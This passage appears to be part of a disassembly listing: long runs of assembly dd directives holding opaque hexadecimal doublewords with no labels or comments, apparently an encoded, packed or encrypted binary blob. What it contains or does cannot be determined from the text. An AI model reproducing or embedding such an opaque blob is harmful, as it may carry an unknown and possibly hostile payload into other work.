0E7C9C3E4h, 0C085AF17h dd 6BE9513h, 245048FCh, 540AE89Ah, 0E1270285h, 4E928139h dd 13016E9Fh, 3640F364h, 51EF00BBh, 271551E2h, 0AE171CF9h dd 7A307A27h, 43676D4Eh, 867A26C3h, 0FA4CEE1Dh, 1BA3E93Ch dd 5D8EAE1Bh, 74F95B4Eh, 62653442h, 6E3742C3h, 34730344h dd 130AA78h, 0F602E49Ch, 0C1A68303h, 8D353767h, 0B9B40DB8h dd 5BBB0517h, 32036834h, 6CD6BF64h, 4B3B7721h, 0D90E4BEAh dd 71B84323h, 789CBB23h, 0C6931046h, 3007F8E0h, 41741464h dd 81D156E1h, 1393598Bh, 0B1C143F2h, 15285430h, 1DE2537Bh dd 0E2C60020h, 0C405962Ch, 7BC2B749h, 12C84EE6h, 0A3B76D27h dd 0A19065BDh, 2CC0000Bh, 0B903E264h, 7B5E1F54h, 0C8533B3Ah dd 414391C9h, 5565AEA7h, 0F2390646h, 0B45756A7h, 0D059A765h dd 1D937C8Ah, 1AEB5D1Fh, 0E8E02033h, 6790E8CFh, 0A7EE13F3h dd 0AA12923Bh, 0E4724B02h, 0E08F6790h, 0F774D613h, 274E68D5h dd 0EC9F3574h, 84A635h, 72EE0ACFh, 119B965Ah, 4B13C3E6h dd 27DF000Ch, 3F0EE113h, 15D6E45Ch, 0C3440774h, 4F8C1BD7h dd 0A36F67D8h, 0CF4228BBh, 0C3AE06A0h, 4D580AB0h, 7A50890Ah dd 49B73E43h, 0AE6F7454h, 0B5AD9D3Dh, 585C49B1h, 49DE6492h dd 9A4B2D10h, 1AE64D2Dh, 67DEF5B2h, 0B32A1C66h, 0BD9BD5F9h dd 5861805h, 22C65861h, 5BDC073Ah, 0C00035EEh, 35451B2Bh dd 0C26AED56h, 0E453AA1Eh, 0E62C6747h, 2D91C81h, 4AAD1B2Bh dd 2B2C0F5Ah, 0A4D84F5Fh, 73BC2E71h, 511057E4h, 5AE7B59h dd 3C440873h, 7B6E30EEh, 6F409C2Ch, 7687533Fh, 0B2DB08D9h dd 0B3440E0Dh, 75B9BBE3h, 0A8102840h, 80DC9738h, 6F20BED0h dd 3934DB2Bh, 0A8A3DF3Eh, 0BA8D9B8Ah, 1BA61191h, 0E424AFF4h dd 0EA425076h, 888B025Dh, 0C8D5705h, 0F366D9C8h, 1D214B0Eh dd 0B04DF384h, 400239F4h, 752122B9h, 0D4C64F7Bh, 19380865h dd 4F470F06h, 45F902EEh, 2BF37622h, 8C82023Fh, 0BF1F672Ch dd 2085BFBFh, 0A9540F1Ch, 1D098045h, 34778AC8h, 53009EFFh dd 41258097h, 4EAB8E75h, 97A46F52h, 0AB1966BBh, 79393C77h dd 0B7B7B746h, 19E42753h, 77929039h, 830BB3B3h, 53B3E42Bh dd 0BE8346FAh, 7D7713C7h, 53AE350Eh, 0D3B39A66h, 0BF0DBFDBh dd 8A0B7955h, 8F5A1CB7h, 7B675D08h, 9E8F388Ah, 595B238Fh dd 6666FE4Eh, 51538B23h, 0E2408BA3h, 0FA8B1951h, 7618365Eh dd 70EE43E4h, 6B5F937Ch, 77CC6DF6h, 373D3C4h, 5204C0Ah dd 3BAA160Fh, 0C19C826Bh, 0E34ED1B3h, 1E641710h, 344AE473h dd 85944448h, 4018A22Eh, 6DA3EB6Dh, 0EB308715h, 976DCCCEh dd 20261454h, 4ADD7626h, 0D10CD92Eh, 0E220A72Bh, 0D9E74009h dd 7B60A727h, 0E7884516h dd 3B68A303h, 714066EBh, 63B542Fh, 2C21178h, 85264052h dd 642D0358h, 8260DA4Ah, 6CD13337h, 9BBFED5Eh, 0A0249950h dd 8B208B3h, 63A2558Ah, 0EA0A4D01h, 31C4DD0h, 0BF9F1839h dd 80930782h, 46800143h, 54836CC0h, 1FBF7804h, 19913D5Fh dd 0B87B0B9Bh, 0B03E841Fh, 3941BA2Bh, 62C55B57h, 0D9E8FDA7h dd 0BBC8BB18h, 82837081h, 0F6C58B96h, 7200BBC8h, 14521C55h dd 3D8C52Bh, 14E75A06h, 4D054497h, 3BCEF839h, 0BFBAC791h dd 57463393h, 3EFF9B22h, 498CBB5Bh, 0E4017BE7h, 0A975BB0Eh dd 120878Ah, 54661B3Fh, 99A73871h, 7EEE10Eh, 27560428h dd 27510564h, 6732B262h, 50C71B06h, 1851AD2Fh, 0C5641964h dd 8249B3B3h, 4129444Ah, 4DE020B0h, 0AB564E2Eh, 42F62609h dd 623EA127h, 56B38E06h, 741D2CBh, 72FF1F58h, 4BD4D15Dh dd 87AD4E53h, 0E2A6C828h, 6987AD90h, 8E6C1E53h, 8712CF00h dd 8B805B8Eh, 365009AFh, 0ADD0E8DFh, 0AD2F5AE7h, 414E8C95h dd 0E1481681h, 60A458B0h, 65C266D3h, 0F45639B2h, 6F6E739Ch dd 36AF6FAFh, 88321BFBh, 73EBBB11h, 29E0DA2h, 32D977B6h dd 13EC1331h, 802CFB14h, 0D85D206Fh, 62019E11h, 7232050h dd 0FB166D64h, 2F09D819h, 53D5351h, 3537C9BDh, 8D83572Dh dd 17559D8Ch, 2A421787h, 0E6684D76h, 16BA1A7Eh, 60FD1093h dd 27175F23h, 43474917h, 91B11C2Ch, 474CABEEh, 0D05B50D8h dd 0CD568868h, 538BF30Eh, 66CFB3B9h, 0A11B2B32h, 0A077FC4Ch dd 0B239B24Ch, 0A9631B23h, 209D81ABh, 6B837C97h, 33E5A317h dd 7BCF25C8h, 5567CDBBh, 0B3C9720Ch, 21A87FD5h, 6B705F23h dd 6363D88Fh, 6863CB8Eh, 92D05C8Dh, 0C85C801Ah, 0E7277BD9h dd 0C9C85C7Bh, 0DF67CAC8h, 0C8C9C867h, 377F2280h, 5C80CC37h dd 6F281A7Fh, 0B902CEA8h, 66063B18h, 0E7CF9D1Fh, 6F0B05F6h dd 0EFA96FA9h, 0CB38AAA8h, 0A9DB05F2h, 8860B9DEh, 48F5EC99h dd 3C4DD9E5h, 19174F23h, 236B97A8h, 8763233Ch, 7BE7336Fh dd 9E467905h, 0F7AF1F87h, 19E46F67h, 19A826F9h, 3717FC7h dd 625E81Eh, 2C5CA906h, 2341498h, 580B057Fh, 5B72604h dd 8A82F65Bh, 838543ABh, 66AC7497h, 6E813B33h, 1D12D41Fh dd 8A1498B1h, 917AFE9h, 6C3E700Ch, 2205564Eh, 0AD64661Fh dd 0CCDA67ADh, 6E025918h, 8F7847AFh, 821CCC0Ah, 0E91B8719h dd 4867982Ch, 83794FA5h, 6F7B35C7h, 53F8B4D9h, 92F01997h dd 817F0E93h, 8DC0D5FFh, 3DAC7222h, 0F00D1B91h, 0FCF80426h dd 0B9B8BFB8h, 2067DB32h, 3208139Fh, 806343DDh, 0E5C9F747h dd 15E6194Dh, 0E3C8EEBh, 0A009DB41h, 51DC2D12h, 0D7E49BCCh dd 0DEA74309h, 66744F6Bh, 0D152C019h, 0FB27A503h, 485623Dh dd 0D808810Ah, 0ECC105DEh, 2B91156h, 0F030255Bh, 0CC01086h dd 860B9DA3h, 5F3F9B08h, 0AF42CCA1h, 2E5305FDh, 9266DE6Eh dd 0FC902D14h, 0A3635ADCh, 11ACAF1Eh, 7F452368h, 587DBA25h dd 0ECE895C5h, 9A318A1h, 24A31A5Fh, 0DEC1FA54h, 59264319h dd 1213503Bh, 68E66B9Ch, 0E34D6200h, 7D8C3341h, 0D89D7627h dd 790D80Dh, 0DB6E77B7h, 77A16BA6h, 45A105A3h, 3BC1AC3Bh dd 1286CBECh, 8B13E61Ch, 0C2E41949h, 0CC0A5Eh, 0D103B245h dd 9E007F39h, 0B651CFBDh, 59187FE2h, 0B3E7D067h, 371A52E3h dd 0C2A74786h, 830639D7h, 22AE8F41h, 0EC98A6FFh, 0A6BFF3BDh dd 36F7710Bh, 0E057D415h, 9BA65FCDh, 14E876BDh, 5F17078h dd 401FB0F7h, 2A753A4h, 2772725Ah, 130BC140h, 7F76C610h dd 0E6DE301Bh, 0F6AFD83Eh, 8A333B00h, 464E1EBh, 0F6F34FF5h dd 0C47E035Bh, 518DC35Ah, 5B160AD8h, 96F091A1h, 0BA15B7Ch dd 0B9D8D999h, 4B4F90E4h, 19B40337h, 0A361A419h, 466F4B4Bh dd 4F646426h, 0F04F4B4Fh, 2E7CF202h, 0B1534F4Fh, 149393C9h dd 0A2AB4F03h, 9F279271h, 0BCAF170Bh, 0BCAFBCAFh, 50A0A8BEh dd 0CFA21E2Dh, 0E2CE562Fh, 0BFE20A50h, 5792BFA2h, 0BFA292F2h dd 0B048B3A2h, 43E45F64h, 0E9820325h, 19064659h, 47074343h dd 1909919Fh, 0C0474347h, 8E7C8048h, 0A2A3473Ch, 3CF2A2BFh dd 4835E4E4h, 0ABA2BFA7h, 320C9704h, 0E454ABABh, 6043BF08h dd 0E70F3B2Dh, 0B64EAEA3h, 0BB73B1F7h, 4F4B065Dh, 0C01D47B1h dd 2649A0ECh, 0CE617B67h, 0F8A357CEh, 33333F5Bh, 0F7DB26F0h dd 279E4E4Bh, 0C25720C8h, 325B5B0Bh, 17CB2321h, 0D15B5F5Fh dd 5F33E790h, 0E25F49D4h, 0F61B973Bh, 4431A24Bh, 39B1A6Ah dd 0D0A78ADAh, 0F547C1A9h, 43273C5Ch, 3808FEB8h, 67331676h dd 9D680D07h, 0EA711E20h, 137EE748h, 70E55C50h, 1AFF7765h dd 0D7953EF2h, 7FDA5756h, 0BD2248B8h, 62A2A6C9h, 0F31DA247h dd 2A9B9FB3h, 0C4B80658h, 56F7D339h, 0CC414950h, 0DFA3534Ah dd 0BC258081h, 83096C2Fh, 14DD2395h, 1123AFABh, 0E9035543h dd 8D03A192h, 9C30AC5h, 34E613B5h, 0E296E758h, 1EFAA906h dd 48617B17h, 0D5210D45h, 3A804F2h, 655A43D6h, 682866D3h dd 55576CACh, 792F661Bh, 73813176h, 0BAD7AFA2h, 2AEC9D84h dd 6B450CBFh, 0A3585716h, 38261BC8h, 87658975h, 0E5BAEC22h dd 2162C09Ch, 87FFC13Ah, 979FC803h, 3B4B2C27h, 3E0987F3h dd 5187C115h, 76A36BF9h, 0FC9BA257h, 3104378h, 0CC07A367h dd 0DD98CC6h, 0B9E13303h, 730F21Ch, 6B4EA367h, 9B9FB2A3h dd 63F0D2Dh, 0B22F2EB8h, 0EC78693h, 486F8F9Eh, 156F653Dh dd 7B27136Bh, 47277D13h, 94E4246Eh, 69260C27h, 626BA36Bh dd 217E4259h, 169111ACh, 0E6C3196h, 4DEE8855h, 0A25FD436h dd 8A25BBFh, 0DFDEDE34h, 6A5C067Bh, 0F6A5713h, 527BDEF7h dd 7787C979h, 0A36FBD31h, 558687CFh, 0BB11D8F5h, 0F6AE473Bh dd 16C0E70Eh, 4615D402h, 1B643B0Bh, 1777692Dh, 91BE4A64h dd 0F3681371h, 432390F3h, 0F340AC72h, 64C740BBh, 168226C7h dd 6F4FA3D8h, 98C23448h, 5A5517F0h, 7A4B6A03h, 393084B1h dd 1D0F30D0h, 870FC979h, 0E6BA2E56h, 8B5B03DEh, 2B731806h dd 4DD317C3h, 0AEA3239Eh, 0C03A1A68h, 6FC80D96h, 4B16DE73h dd 5AEC3D9Ah, 125B39DEh, 4EF41D48h, 212253C3h, 41BD1167h dd 2746B0h, 164E348Fh, 190ECAB5h, 26F50395h, 26817B2Fh dd 5CF580B7h, 8725E42Fh, 87CF11B0h, 9361411Eh, 87CF9C97h dd 0C9384165h, 475EB281h, 80DB1141h, 79340784h, 538A2831h dd 9D0196C9h, 74A04224h, 0B3C0C269h, 0E5BA1532h, 1751E973h dd 0BA206806h, 0B90BF056h, 0BA524903h, 0BFA05521h, 3A1D81B3h dd 0D1A9BEA6h, 0E0424E4Bh, 29E3801Fh, 268C7232h, 6F954FE4h dd 2F11A87Bh, 87973B50h, 4C204354h, 0EACF6E08h, 349353ABh dd 436E4A6Dh, 214E4721h, 86FB5710h, 0EA0DC976h, 39F61DA7h dd 8C87DA69h, 2DBED808h, 0BE43856Bh, 0DB662139h, 41835A04h dd 0D5F9278Bh, 62A91B03h, 5C975C86h, 2201904Dh, 27A899C8h dd 6632727h, 17AFABA7h, 7AFCEF05h, 0A917BD22h, 48CA06h dd 0C005CEAFh, 4E031D0h, 153C888h, 62282F14h, 0EC88EC1Bh dd 87452F66h, 7F191285h, 0DF6040D0h, 73F80117h, 21933B52h dd 38CDF21Ch, 20C342ECh, 0C83E7ABh, 0AFCD80C8h, 0B3B5E2BAh dd 0A86F33B9h, 0CF062713h, 8690F206h, 6F378527h, 0D9C53BA9h dd 7413A926h, 0E7921C3Eh, 0A7520F02h, 0AA5CF4A8h, 0A8B7A395h dd 60DB9E13h, 8643C15h, 0CB7DA96Fh, 0A75CF2C8h, 4FAB76A8h dd 8ECB91AFh, 0A91BB238h dd 882E691Eh, 5688B982h, 9982561Bh, 0A96BC92Fh, 64436F0Bh dd 1EF90192h, 58A76767h, 63390192h, 64999363h, 7F3DBE40h dd 64C1A37Fh, 1E7B0EC0h, 0D919197Bh, 67059166h, 829A7F63h dd 9FDC110Fh, 0AC1F5686h, 47E767Ah, 3EDFAC24h, 53917F6Ah dd 5E68AF48h, 5A521201h, 8FC879B2h, 3B083385h, 23D02A64h dd 0B3827903h, 7B0D55EAh, 0D00FDAAh, 2AA2CF11h, 4F0763A6h dd 67B27B64h, 2A672742h, 2B57D22Fh, 58324B73h, 2C0E279Bh dd 0B1939474h, 3DCC602Ah, 0F45629CBh, 9F4EBC54h, 18ABEA45h dd 2A48AFF6h, 0D0AED9A5h, 520CB1ECh, 771F4F21h, 315F74C0h dd 0AC1DBBECh, 213BFC24h, 9A42E651h, 7F840B93h, 6790B915h dd 599F5092h, 9CD92C77h, 8B4357A4h, 5F0DADBBh, 0EB3E1002h dd 196A4AEBh, 8A3B5839h, 50F8D05Fh, 0D7BABF0Dh, 94F24E61h dd 0C358E558h, 0F88018A7h, 0DED0226Dh, 927009DEh, 57401420h dd 9A39070Fh, 73CC3F36h, 0BFBFE7E7h, 164DEBAh, 2A4F4CB8h dd 0B915AE55h, 0D4755048h, 86335DBEh, 0C936380h, 0BDFF406Fh dd 0E4963229h, 0E7BDFFC9h, 1D134CBCh, 7F0CC021h, 2BCEBF9h dd 0AFF27B18h, 0F94357Ch, 0C93B9A51h, 0BDFF4685h, 2E14EFD6h dd 0C178084Bh, 5C4562Ch, 67604E4Eh, 2997658Bh, 545B2621h dd 8E47E331h, 0B3187780h, 24320A21h, 1A7D7D87h, 56CB0603h dd 8332370Fh, 73ED20Ch, 426DBC83h, 0BAB73E7Ch, 29CFBA8Bh dd 0C10D9188h, 0BF4DBAA3h, 63C38ABAh, 0B890BE6Ch, 0D3E3274Ch dd 0A432DFF6h, 5F0ADCA2h, 0F727BDE7h, 0E6F26D9Dh, 13CF1DBDh dd 0E1AF08CEh, 27380A99h, 64053ED2h, 0C0E80F7Bh, 240FADB0h dd 525E013h, 0B76973BCh, 0C00C1D27h, 7FBBDCC3h, 0C0595026h dd 0DB9B9072h, 5F0DCB13h, 0BC9ABC9Bh, 79E46461h, 0DD34BC9Bh dd 0C3D971D8h, 0F73016CCh, 445AED1Fh, 0CC06C218h, 437B3EFBh dd 0B1D86002h, 781B9049h, 0E8FEBB07h, 0FDB38A9Dh, 0A816A173h dd 35856689h, 0B85A5E08h, 0C29DEA67h, 0D47590Dh, 38028E11h dd 0EA22D34Bh, 7A752895h, 87B11A0Ch, 5B5114D6h, 0BBBB05D8h dd 28FEC451h, 37689278h, 1AAC2026h, 0E37B064h, 0BB932BD9h dd 8B3A57h, 3DD66CA7h, 0F5AC6D34h, 223AF66h, 0B0A45BC3h dd 746E2A7Ah, 0ABA0B23Bh, 503B5255h, 7CF66A21h, 45BED1CFh dd 0A674611Dh, 0D311822Eh, 0DB2091A8h, 90C93B0Eh, 98AD895Fh dd 10024835h, 0D1AC034h, 3F034380h, 0C853963Fh, 26336472h dd 18AFCBF5h, 0BABB2579h, 0EF50FF21h, 78C94E3Dh, 0AAF0CE05h dd 7AB1348Ah, 8907228Ch, 0B51BB00Fh, 55B51BECh, 6F6613Dh dd 0B20190Ch, 0CC441467h, 5F8B10B9h, 64F61721h, 7E539510h dd 0D613591Ch, 716D3206h, 0E4597D1Bh, 0DEB8D82Ch, 87DA6C7Bh dd 1B0B9C27h, 1E984B3Fh, 6CEA227Bh, 1820DE18h, 0D411EC84h dd 0CF2F2C0Bh, 2D816312h, 0F62C4C0Fh, 32E26C3Dh, 7F133B06h dd 0C07D89D3h, 22BD704h, 29F35E03h, 4FB950F8h, 0B51FFF21h dd 0CEC2649Ch, 3432346h, 61C101B4h, 80BF0AF2h, 0F246C10h dd 6AC7DB23h, 10622C34h, 5ABB0B27h, 453E882Ch, 511A8855h dd 35E803AFh, 0A78F2EBh, 7D882B59h, 4609D83Ch, 5820B32Ah dd 7547B0ECh, 0D496FF39h, 0E26D59ECh, 12BB43Ch, 9590957Bh dd 0F24C5B74h, 6D1BB5A3h, 0BB030F32h, 0E117B936h, 154CC340h dd 857241ABh, 6F3D749Ch, 0AA359EE6h, 2C565F8Bh, 0C0407057h dd 0BA1C6371h, 0D46BA8FCh, 461C889Bh, 0B8B1A162h, 7640CB3h dd 0F8544971h, 1E57896Eh, 549512C8h, 0B95640C7h, 80600449h dd 9EA802Dh, 57F9C3E0h, 0CB9A6552h, 0EDA7A768h, 71630344h dd 35BA1A7h, 1E026C40h, 515BAA19h, 157224Bh, 2387150Bh dd 0A25C8928h, 3A2B204Eh, 7DCB4A0Ch, 960043CEh, 6B57352Fh dd 61888CB4h, 81B2121Eh, 2E32D450h, 0E426ABDDh, 328C1364h dd 0FD9B597Dh, 500A8666h, 1A18E957h, 0C979804Ch, 3E50A740h dd 0A204D922h, 0C591608Dh, 4F3C2830h, 0BC15300Eh, 95671372h dd 43BE762Ch, 23D89C0Ch, 40C0D6CCh, 0D626D66Dh, 0E44520C8h dd 68CB0A98h, 54F217C3h, 8FEB3B6Ah, 50F5AD41h, 8A4117DCh dd 7BA76B0Eh, 2470CDC1h, 4207662Ah, 0BA890305h, 7F009B66h dd 12391F0Ah, 7E7DF51Bh, 588EE37Ch, 5051BDF7h, 22F473D8h dd 8BC5B907h, 6BD8BBDh, 0AF5BE030h, 569205CAh, 0DC5B96BBh dd 0B7AAB3A2h, 4CAB103Dh, 0EB8BF33Dh, 0A05BE43h, 82A45008h dd 772E762Dh, 41BB3E37h, 8E77AD80h, 799704A5h, 0FE95A5ACh dd 8A6CD8BEh, 7FD3CCCAh, 2ABB953Bh, 61E40FCFh, 0A40DBF8Fh dd 0EBD73FD0h, 0BB3E80DEh, 63F0FD4Ah, 95C10BFh, 0E79E7CD3h dd 0A86B5667h, 0CF206FC9h, 0B33E028Ah, 141782BDh, 4E12EC08h dd 888C7376h, 0D3BA52B3h, 80BB2F53h, 0F6CC1DF7h, 0D5FCE12h dd 30E1B07h, 0DDBDEAE6h, 0CC408005h, 23B30041h, 0CC2811B8h dd 9CD91B35h, 127EBD8Ch, 8A295751h, 232E59C8h, 0CC2F8BB0h dd 243F0C2Eh, 57FBBBC6h, 0D3850C13h, 2CBE47F7h, 0FC433851h dd 2ACF3F4h, 0BB3A30E5h, 73087B48h, 8F143C3Bh, 0BCB706ABh dd 0CD50E16h, 37027533h, 2FCEEB5Fh, 0EAB96D6Bh, 4A23B268h dd 0D48D9C15h, 0E0F95526h, 86CE470Eh, 9C07BAAFh, 5B8EFDCAh dd 0FD013F3Eh, 0B7F91F22h, 0FCB806BCh, 271637ABh, 0F0A3BB38h dd 91781157h, 0ADBA738Dh, 0EE058F1Bh, 1E28FCD7h, 635ABD8Fh dd 80A1FBAh, 9966C9DCh, 602DD73Ch, 0FDDD1408h, 70CF3B01h dd 50904B3Bh, 0F21BEF90h, 3AAD9B07h, 8AC72161h, 61392C17h dd 3EF8FC44h, 3B42BD03h, 19E72507h, 43403ADCh, 9FE4EAA8h dd 61322810h, 76AC9097h, 0AD91917Fh, 0EF055504h, 919191EBh dd 0FFE3E791h, 919191FBh, 0CFF3F791h, 919B6CCBh, 0DFC3C791h dd 0DB259F9Fh, 8C8C8C8Ch, 2B2FD3D7h, 8C8B2F08h, 6E020027h dd 5EFBF64Fh, 5D771FEAh, 0BBAD247h, 52D6047Eh, 808DB717h dd 0DFBF2038h, 0B2D80C97h, 0A286DD63h, 9003D1D8h, 3F4D235Fh dd 23242DFCh, 0D800003Bh, 58477717h, 4EDBA0AAh, 0B4352D1h dd 0A20AC55Fh, 7A25FDBh, 6E95BB5Bh, 5081112Bh, 6E07190Fh dd 15FFF817h, 8882BA82h, 8B82B982h, 0A48E9A58h, 37A41BA0h dd 0DBBF76E7h, 4304C23Dh, 5D218250h, 5B242468h, 0BA6E2807h dd 5B2576EDh, 48430578h, 5B074711h, 7789A45Fh, 0A9B7ED60h dd 85389D0h, 57FA791h, 3348DE80h, 43474B48h, 33318A8Bh dd 8007E8D6h, 9E4780E1h, 643336FDh, 9B39A380h, 0DEB5A4C4h dd 838334DEh, 255F5443h, 0D84C1D52h, 32430D95h, 172F0B2h dd 5B043337h, 5F09F7Bh, 3AC6000h, 6514472Eh, 87D0A9A5h dd 8BAD759Dh, 74DA1389h, 0BD4B1B4Fh, 4F25CCC3h, 0D93F4BB6h dd 0B69320D8h, 7198B43h, 19A464D4h, 82B882FBh, 0A288B68Ah dd 9906414Fh, 43474B64h, 0E10F6323h, 3254261Ch, 0FC10C0Dh dd 2323230Bh, 3070563h, 23231B1Fh, 13172323h, 23086B6Fh dd 63672323h, 0C198097Bh, 3977C8D2h, 0B8123758h, 5D7060EDh dd 0A3FDA16h, 481A03DEh, 0AB3F6308h, 7270731h, 0CF177093h dd 0F12537BBh, 5530D70h, 748276A7h, 0FE07B774h, 15F06DEh dd 278E833Bh, 622F1142h, 4B6B051Ch, 5B1454D1h, 0EF65F1Dh dd 9B14BD68h, 0D6285B67h, 2A3D0DA5h, 8E8180F7h, 7B619B57h dd 0AAA30555h, 0C9805FB7h, 52576616h, 0A093815Fh, 0F68B87E4h dd 0BB96635Dh, 0EB02D441h, 0BD7F6420h, 0DB9D1BDh, 0A24557B8h dd 0DA2E35D0h, 0FE2E5715h dd 94C6FEF6h, 5221E755h, 5E275B0Eh, 53772FD3h, 0B18E73B7h dd 0D578255h, 12BB2D55h, 7A284539h, 529AA547h, 0D6055427h dd 0F61C5BB7h, 0D84D571Bh, 2E1DDA8Bh, 36075B13h, 0B05666DBh dd 57485493h, 3DAC360Ah, 1B6E1BD8h, 5DAE06CDh, 0DF5F2579h dd 0DE32A56h, 5D236333h, 5479339h, 4B6C804Bh, 6249E40Eh dd 15EB4F27h, 77738C23h, 0A0FBE1DEh, 0B86586D8h, 28BB0490h dd 9E69F008h, 3CBB7C7Dh, 30A2BF0Bh, 200A03EBh, 0BA14DBACh dd 4B72h, 0FF9BEE7Bh, 447Ah, 49FF4480h, 5F004094h, 0E40F0003h dd 72F2E4BFh, 0E7958A95h, 0FD00416Ah, 6E5C416Ah, 7C56EBBh dd 72F003DBh, 386F0507h, 6CD86C73h, 0DDE086B3h, 0A40B331Fh dd 0C03D96F9h, 1131772h, 0F61D81D8h, 13E03B85h, 0B21747DEh dd 7308792Bh, 913B1320h, 28D83F74h, 93052013h, 70230419h dd 0B01D9DCFh, 1B6FB05Bh, 0B09707BCh, 0C5CB3724h, 6FD1026Fh dd 59C88741h, 1B103BA4h, 8907F21h, 4E360DA9h, 0DE6BB013h dd 2B60511h, 0F34D3303h, 50918943h, 5514D11h, 0FFFFFF00h dd 0F5AEA0FFh, 83A6C9F5h, 0BDF3ACECh, 0A5B084A7h, 0D4839DCFh dd 0BAB8E0CEh, 0A0C285DBh, 0BFB69EACh, 89C546D8h, 28C01FCCh dd 29C0982Bh, 0D5FFFFECh, 0CAAD8AFBh, 0A1A6CC85h, 0CF95AB98h dd 0EEFA8395h, 0FF1BAEC0h, 0F6F6FF6Fh, 1EBB85E5h, 9F8193F2h dd 57C594B6h, 98FEC4F0h, 0DDB7C0B6h, 6084B79Dh, 97FFB201h dd 9E85D283h, 11FFC4C5h, 0FFFF333Bh, 2112FFFFh, 64341325h dd 73311312h, 6239657Eh, 7E773138h, 31757F64h, 79657866h dd 63656231h, 65F7D978h, 31767FECh, 113F6221h, 62257E5Fh dd 0CD90DB23h, 31161B12h, 5B64310Ch, 31076EC6h, 38780F39h dd 0DEC03C78h, 313C3F6Bh, 2D2E785Dh, 0C297555Bh, 0A72B9B9Ch dd 0DBC71F3Eh, 5AFBAC16h, 137D7D78h, 12D74C11h, 7FCB5213h dd 757CFFFBh, 7469743Fh, 7E636131h, 3B627472h, 31627079h dd 7C637465h, 0B2CB6F70h, 0AB75066Dh, 567F7D52h, 61746331h dd 70B6DB5Bh, 70157508h, 307C2BDBh, 0B5B27DB6h, 11724321h dd 63136354h, 0D76C6D7Dh, 4F6679DAh, 0B264720Fh, 0BDAD2C72h dd 707CDAEDh, 1B1C28EFh, 7C744303h, 77BD1E4Bh, 6632736Fh dd 7E3F5279h, 9F7F7461h, 0ADDA12DEh, 6778511Bh, 0DB691375h dd 2110963Eh, 233F210Bh, 2D620E77h, 59B066EEh, 5A2213E9h dd 87163E53h, 4B784059h, 0B60C563Bh, 57605F6Dh, 2F736611h dd 1F658242h, 5EC80F6Eh, 45757E65h, 7762E763h, 17B02ED6h dd 777E313Ch, 0E11F724Ah, 0E5612EB3h, 7A9F7D7Dh, 6FDB9D75h dd 1132657Fh, 52525510h, 555F5421h, 330F3331h, 1B1EDBDEh dd 5247521h, 0B91AE310h, 3CF18B6Fh, 13380337h, 644BCB63h dd 0F0952Eh, 0DB60074h, 0FF78285h, 45D3C12h, 61D95B76h dd 622BEDDBh, 1317BD64h, 0DACFEEFFh, 54561B19h, 8B3E3145h dd 41454559h, 213F203Eh, 6E35D7B0h, 697E5915h, 0F321623Bh dd 9181FE35h, 667E752Ah, 97E7D7Fh, 21610B8Dh, 8E44C324h dd 0B9CDEC29h, 50A42A73h, 27656370h, 0E3E37648h, 95726442h dd 687DB477h, 0C2072458h, 23BB51C0h, 0B5F196ECh, 0B53D481Ah dd 6D61640Bh, 0EC73D81Ah, 77DE5F0Ah, 0DB6DA78h, 915D889Bh dd 15783461h, 0D7DD6476h, 33E4365h, 4B62BB2Bh, 0DA993B52h dd 354FEE61h, 5FDA113Ah, 347DD84Eh, 77652827h, 3E2B6165h dd 2D2EED3Dh, 68602134h, 43626422h, 97662023h, 1603AC5Dh dd 79212954h, 49360C65h, 525BC06Dh, 35629B2Fh, 0DACC211Bh dd 1F9FFC63h, 0B6CEBD2Fh, 651B6606h, 640A74C4h, 0E7CD656Fh dd 6F103875h, 30958F61h, 6F3AAB55h, 6CA37AC4h, 17302324h dd 34772DA1h, 2B584440h, 8030D6BFh, 1332DAD0h, 9D7FA320h dd 0A9B7BFDCh, 82766473h, 64757E5Ch, 6D2E0EA8h, 57F7C105h dd 627C7294h, 0E3768D79h, 7318AC9Dh, 65B02C5Fh, 0DBDB21D8h dd 21064950h, 53084929h, 43611152h, 4255721Eh, 1C870858h dd 4153EC36h, 5758081Ah, 0F630AD8Eh, 4256505Dh, 884B3F0Bh dd 8E6ADC74h, 7D177A76h, 3004510h, 234DD636h, 43BB64B8h dd 607F54D9h, 5249FFB7h, 58454154h, 464E5F5Eh, 420F1145h dd 5A525045h, 0FB7B09B6h, 54475E4Eh, 465E1943h, 35F1B11h dd 0FF64B052h, 5F0A02D6h, 5D535044h, 23184E54h, 3B7F2FB6h dd 554E1F58h, 55584758h, 4B4E4853h, 0F7375E46h, 5843C2F6h dd 5056395Dh, 4369275Dh, 84E17B44h, 1F1352BDh, 5A2A4353h dd 0DB465E41h, 37985B5Bh, 42420995h, 0FD5E584Eh, 0F76B23EDh dd 59455E73h, 75641167h, 0C3581161h, 1277DAE6h, 65747F63h dd 8FA0256h, 48DB9172h, 0F5425ADCh, 0F8695405h, 5D78FD66h dd 1E769768h, 1194753Fh, 74B11841h, 68603352h, 371E02AEh dd 3A23111Bh, 61F7D8DAh, 23721762h, 75CF0877h, 0E12BED1h dd 761B29BFh, 0DEC9FD3Bh, 747CA2BBh, 661A0B0Eh, 224E2362h dd 70116623h, 4611328Fh, 825E7C5Fh, 3F610C9Dh, 174623D1h dd 95B65050h, 2C48AC25h, 0EE7C2813h, 0B1958B3Dh, 7D501A60h dd 0B9FEBAE9h, 18236B6Eh, 975F0B64h, 7972421Bh, 0B9CFF874h dd 7E5B963Fh, 2FB32673h, 64537861h, 0EB306777h, 0CF570F3Ah dd 45FE1311h, 0D8312B63h, 420F555Eh, 2B541C6Fh, 6C1DAC59h dd 62440F7Ch, 0B80B0E2Eh, 55DAC964h, 0B5717B6h, 34276CA1h dd 7F1C5869h, 96057067h, 110E1AD8h, 70B9788Bh, 0D9E16BE6h dd 96319D6h, 0CB420A72h, 74937F50h, 285B1305h, 27ADCF7Fh dd 96956C7Ah, 377DB13Dh, 942A76Fh, 0CF28D7F7h, 585F0841h dd 6430649h, 35096D3Eh, 7578CE7Fh, 0D83D2AFCh, 673D6A5Ch dd 0D9436DE7h, 0D87F7481h, 0B9202058h, 20FFFF7Bh, 80841122h dd 89BA8FD1h, 0AFBCC1B0h, 7C9EA7A1h, 3F212003h, 6DF63B3Ch dd 27208E28h, 260F3F29h, 26230723h, 8B6C302Eh, 5F023F86h dd 6560202Bh, 130FE613h, 0AD5A0F2Bh, 793CD87h, 93DF565Dh dd 9AD0CB30h, 3D0B63B1h, 0D58BD944h, 0FDEA43E2h, 0C6081723h dd 0F85735C1h, 6761BFD9h, 419078B3h, 13621FEEh, 2F1C1820h dd 4C86BF0Eh, 0E342A306h, 0E7CC6862h, 0D9D02537h, 3FCB86ACh dd 6620425h, 0D780684Eh, 962734F5h, 61B0E845h, 0FA72B54h dd 0EE77B177h, 